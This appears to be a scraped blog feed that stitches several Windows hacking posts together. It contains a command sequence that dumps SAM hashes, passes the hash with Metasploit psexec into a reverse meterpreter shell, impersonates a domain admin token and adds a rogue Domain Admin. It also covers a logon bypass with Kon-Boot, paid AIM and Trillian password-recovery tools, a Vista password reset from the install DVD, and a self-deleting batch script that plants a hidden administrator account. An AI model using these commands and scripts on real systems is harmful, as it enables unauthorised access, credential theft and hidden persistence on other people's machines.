mount /dev/sda1 /mnt/sda1
cd /mnt/sda1/WINDOWS/system32/config
samdump2 system SAM
msfconsole
use windows/smb/psexec
exploit -p windows/meterpreter/reverse_tcp -o LHOST=192.168.1.160,LPORT=6789,RHOST=192.168.1.23,SMBUser=Administrator,SMBPass= 123...:5654... -j
sessions -i 1
use incognito
list_tokens -u
impersonate_token mydomain\\domainadmin
execute -f cmd.exe -i -t
net user hack MPass5678 /add /domain
net group "Domain Admins" hack /add /domain
PWNED

Lessons learned :
1. never reuse admin passwords, even if they are technically unbreakable
2. everything is a lot easier with the right tools.

Attack is compatible with WinXP/Vista/Win7/Windows Server2k3/Windows Server 2k7

Software Requirements

• Processor: Pentium class or equivalent processor
• RAM: 64MB RAM recommended
• Hard Disk: 14kb free hard disk space
• Supported Operating System: Windows 98/ME/NT/2000/2003/XP/Vista/Win7 *32bit only!

We are offering this for only Only $4.99!! All proceeds go to supporting this site!

]]> http://www.whatsmypass.com/getkey-3-0/feed 6 http://www.whatsmypass.com/bypass-windows-logon-password http://www.whatsmypass.com/bypass-windows-logon-password#comments Thu, 23 Apr 2009 22:22:29 +0000 Dev Team http://www.whatsmypass.com/?p=604

Accessing a Windows computer without knowing the password is fairly simple with this free tool called Kon-Boot .There are alternatives like Ophcrack etc, but those rely on grabbing the SAM hashes and cracking those. What sets Kon-Boot apart is that is modifies the kernel on-the-fly while booting (everything is done virtually – without any interferences with physical system changes) and allows you to log into any account without entering a password. All you have to do is insert a boot (cd or floppy) disk burned with Kon-boot software(110kb) in to the computer and boot up.


Kon-boot which was initially started as a small project for Linux (mainly Ubuntu),where it allows to log into a Linux system as ‘root’ user without typing the correct password or to elevate privileges from current user to root. Now it was moved to windows platform where it enables Windows users to login to any password protected machine profile without any knowledge of the password.
This program works with the following versions of Windows: XP (SP1, SP2, SP3), Vista (Business, Ultimate), 2000, Server 2003 and 2008, and Windows 7. Kon-Boot also allows you to boot Linux (distributions: Ubuntu, Gentoo, Debian and Fedora) without a password as well.

http://www.piotrbania.com/all/kon-boot/

Trillian Password Recovery Software easily recovers and exposes all lost or forgotten AIM saved passwords. Easily retrieves password information instantly regardless of the password length and complexity with full support to all Trillian versions. Trillian Recover is written in pure assembly language.

More information on how the password is stored ::here::

Software Requirements

• Processor: Pentium class or equivalent processor
• RAM: 64MB RAM recommended
• Hard Disk: 5kb free hard disk space
• Supported Operating System: Windows 98/ ME/ NT/ 2000/ 2003/ XP/ Vista /Win7

Trial and registration

Evaluation version is available for FREE download. This unregistered (demo) software recovers only the first 3 characters in password (rest is shown as ‘*’).

Download Trillian Recover Demo

1198 downloads

In order to display full Password you should register for licensed Software.
Only $4.99!! All proceeds go to supporting this site!

** Newer Version Released Click HERE**

AOL Instant Messenger Password Recovery Software easily recovers and exposes all lost or forgotten AIM saved passwords. Easily retrieves password information instantly regardless of the password length and complexity with full support to all AIM 6.x versions. AIM Recover is written in pure assembly language.

AIM 6.x (6.5 & beta 6.8) uses 2 algorithms to encrypt your AIM password. First the Blowfish algorithm is used to encrypt the AIM password using a 448 bit keyword.
The encrypted string is then encoded using base64 and stored in the registry at:
\\HKEY_CURRENT_USER\Software\America Online\AIM6\Passwords

Software Requirements

• Processor: Pentium class or equivalent processor
• RAM: 64MB RAM recommended
• Hard Disk: 15kb free hard disk space
• Supported Operating System: Windows 98/ ME/ NT/ 2000/ 2003/ XP/ Vista /Win7

Trial and registration

Evaluation version is available for FREE download. This unregistered (demo) software recovers only the first 3 characters in password (rest is shown as ‘*’).

Download Aim Recover Demo

975 downloads

In order to display full Password you should register for licensed Software.
Only $4.99!! All proceeds go to supporting this site!

1. Reboot the
Windows Vista and boot up with
Windows Vista installation DVD. Crack
Windows Vista logon account password in minute with the
Windows Vista installation DVD. Click on the Repair Your Computer option, bring up Command Prompt to open Local Users and Groups management in MMC.

2. While the
Windows Vista installation interface pops up, click the Repair You Computer link at the bottom-left corner.

3. Next, the System Recovery Options dialog box appears. There are few options that related to repairing
Windows Vista, looks like Recovery Console in Windows XP:

Startup Repair options is used to automatically fix problems that are preventing
Windows Vista from starting.

System Restore to restore
Windows Vista setting to an earlier point in time.

Windows Complete PC Restore to restore
Windows Vista from a full system backup.

Windows Memory Diagnostic Tool could be the first Microsoft memory tester toolkit that bundled with Windows setup media.

Command Prompt is the target
option of this Vista hacking guide. Click on this
option now.

4. In the
Windows Vista Command Prompt, type mmc.exe and press ENTER key to bring up the Microsoft Management Console.

5. Click on the File menu, select Add / Remove Snap-in
option, locate and select the Local Users and Groups on the left panel, and click Add button to add it to the right panel.

6. Now, the Choose Target Machine dialog box pop up. Keep the default setting by clicking the Finish button – that means using the Local Users and Groups snap-in to manage this local computer, and not another computer in network.

7. Click OK button and return to MMC windows. Under the Root Console in left panel, double-click Local Users and Group that was added earlier. Click on User folder, locate and right-click the target Vista logon account that found in the right panel.

Select the Set Password from the right-click menu to set a new password / reset old password.

Src: Techol

@echo off
rem HideUser.bat
rem by illwill    http://illmob.org
rem This will create a hidden user with admin rights in XP/Vista
rem ( hidden meaning that the username wont appear in the logon screen)
rem change the illwill & passw0rd to your own
rem Add once you log into your new account dont forget to hide the user folder
rem "attrib +r +a +s +h %USERPROFILE%"

SET NEWUSER=adm1n
SET PASS=passw0rd

net user %NEWUSER% %PASS% /add && net localgroup administrators %NEWUSER% /add>nul 2>&1
reg.exe ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v %NEWUSER% /t REG_DWORD /d 0 /f>nul 2>&1
DEL %0

Paying something like $50 for a program such as Tweak UI is just out of the question, wouldn’t you agree? Well, luckily for you, you can do this for free! Just follow the next couple of steps in this post and you will have your dream in no time.

Lets get started!

Step 1:

Go to your desktop and right-click any where that has no file, so that it brings up the default right-click menu.

Select “New” from the menu, then select “Shortcut“. “Shortcut” is located just under “Folder“.

Step 1

Step 2:

Windows will now ask you to specify the location for the shortcut.

Copy and paste the following into the location. If you wish to type it, please note that it is cAsE SeNsItIvE.

%windir%\System32\rundll32.exe user32.dll,LockWorkStation

Make sure there are no trailing spaces at the beginning or end of the line.

Step 2

Click “Next” to continue”

Step 3:

Change the default name for your shortcut from “rundll32.exe” to anything that you want. I called mine “Lock“.

Step 3

Then click “Finish“.

Step 4:

Now double click on your newly created shortcut and it should lock your computer. It will not log you off.

Just type your password back in on the logon screen and you will see! If it comes up with an error, then delete the shortcut and go back to Step 3.

Step 5:

Right-click on your shortcut and select “Cut” from the menu.

Step 6:

Click on the start menu and then go to “All Programs“. Find a folder in there called “Startup“, right-click on it and select “Open“.

Step 6

Step 7:

Now, right-click any where in the “Startup” folder and select paste. You will see your shortcut be placed in there.

Step 8:

Click on the “Start” menu and select “Run“.

Vista Users can type “Run” into the search field in the start menu if it isn’t present.

Step 9:

OK, so, if you’re using Windows XP you have to type “control userpasswords2” as the run command and click “OK”

Step 9

Vista users do the same:

Step 9, Vista

If the security window comes up in Vista, just click “Continue“.

Step 10:

You will see a window come up called “User Accounts“.

Uncheck the tick box that says “Users must enter a user name and password to use this computer“.

Then click “Apply“.

You will be asked to enter in the password twice for your username.

Enter your password and click “OK“.

Step 10

Click “OK” again on the user accounts screen.

Step 11:

That’s it! You’re done! If you want to test this, restart your computer. You will see it load up, then it will bypass the logon screen, loggin you on, then it will lock your computer still loading up all your startup programs!

Via bestcomputersolution.com